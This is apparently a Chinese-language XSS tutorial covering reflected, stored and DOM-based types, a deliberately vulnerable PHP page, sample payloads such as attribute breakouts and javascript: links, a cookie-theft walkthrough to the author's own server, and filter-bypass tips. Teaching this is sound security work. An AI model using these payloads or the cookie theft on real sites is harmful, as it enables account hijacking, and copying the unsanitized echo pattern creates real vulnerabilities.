一、xss漏洞原理1.什么是xss漏洞?

跨站点脚本(也称为 XSS)是一种 Web 安全漏洞,允许攻击者破坏用户与易受攻击的应用程序的交互。它允许攻击者绕过同源策略,该策略旨在将不同的网站相互隔离。跨站点脚本漏洞通常允许攻击者伪装成受害者用户,执行用户能够执行的任何操作,并访问用户的任何数据。如果受害者用户在应用程序中具有特权访问权限,那么攻击者可能能够完全控制应用程序的所有功能和数据。

2.xss分类1)反射型xss

是最简单的跨站点脚本。当应用程序接收到 HTTP 请求中的数据并以不安全的方式将该数据包含在即时响应中时,就会出现这种情况。

如果用户访问攻击者构建的 URL,则攻击者的脚本会在用户的浏览器中执行,在该用户与应用程序的会话上下文中。此时,脚本可以执行任何操作,并检索用户有权访问的任何数据。

2)存储型xss

当应用程序从不受信任的来源接收数据并以不安全的方式将该数据包含在其以后的 HTTP 响应中时,就会出现存储的跨站点脚本

反射型 XSS 和存储型 XSS 的区别

反射型 XSS 和存储型 XSS 之间的主要区别在于,存储型 XSS 漏洞会导致在应用程序本身内自包含的攻击。攻击者不需要寻找外部方法来诱导其他用户发出包含其漏洞利用的特定请求。相反,攻击者将他们的漏洞利用放入应用程序本身,并等待用户遇到它。

3)DOM型xss

基于 DOM 的 XSS 漏洞通常出现在 JavaScript 从攻击者可控制的来源(例如 URL)获取数据并将其传递到支持动态代码执行的接收器(例如eval()或innerHTML. 这使攻击者能够执行恶意 JavaScript,这通常允许他们劫持其他用户的帐户。

要进行基于 DOM 的 XSS 攻击,您需要将数据放入源中,以便将其传播到接收器并导致执行任意 JavaScript。

DOM XSS 最常见的来源是 URL,通常通过window.location对象访问。攻击者可以构建一个链接,将受害者发送到易受攻击的页面,其中包含查询字符串中的有效负载和 URL 的片段部分。在某些情况下,例如针对 404 页面或运行 PHP 的网站时,有效负载也可以放置在路径中。

二、xss漏洞实战1.编写一个存在xss的页面

                window.alert = function()          {        confirm("完成的不错!");                 window.location.href="level2.php?keyword=test";           }        欢迎来到level1        

欢迎来到level1

<?php ini_set("display_errors", 0); //不显示错误报告 $str = $_GET["name"]; //获取参数传入 echo "

欢迎用户".$str."

"; //用户输入什么就输出什么 ?> <?php echo "

payload的长度:".strlen($str)."

"; ?>

$str = $_GET[“name”]; //获取参数传入

echo “

欢迎用户”.$str.”

“; //用户输入什么就输出什么

代码中并没有对用户输入进行检查,直接输出到页面中。所以存在xss

测试:

可以构造如下payload

/level1.php?name=alert(1)

2、利用xss获取当前用户的cookie

测试是否有弹窗

编写获取cookie的脚本,放自己的服务器下面,内容如下

 

构造payload

document.write(‘‘);

发现有长度限制,在前端修改长度

在另外一台主机访问,发现自己的服务器得到了cookie

三、xss测试与利用1.xss发现a、步骤

  • 在每个利用点插入一个正确的输入,而且该输入没有出现在页面的任何地方,这样查找就比较方便
  • 查看该输入在响应中的所有位置,并查看所处上下文
  • 构造恶意payload
  • 查看响应是否被组织或者净化,然后进行绕过。

b、实例:

(1)假设返回的响应包含如下的脚本

测试思路:

  • 终止input标签,构造script脚本 :”>alert(1)
  • 在input标签添加一个事件处理器 :” onfocus=”alert(1)

(2)假设返回的响应包含如下的脚本

var a = ‘https://www.cnblogs.com/-xiaopeng1/archive/2022/10/25/mytestwp’ ;var b = 123;……

测试思路:

  • 终止单引号,分号终止语句,然后插入脚本 :’; alert(1);var foo =’

(3)假设返回的响应包含如下的脚本:

click here…

测试思路:

  • 使用伪协议:javascript:alert(1)
  • 使用事件处理器:# “onclick=”javascript:alert(1)

c、探查防御措施

一般的防御有以下的几种:

  • 防火墙发现恶意标签,组织了输入
  • 接受了输入,但是进行了净化或者编码处理
  • 将输入字符截短到某个最大长度

d、绕过

如果是防火墙过滤,则轮流删除字符串的不同部分,确定阻止了哪个标签,然后进行绕过

下面总结几种绕过:

<object data="data:text/html,alert(1)">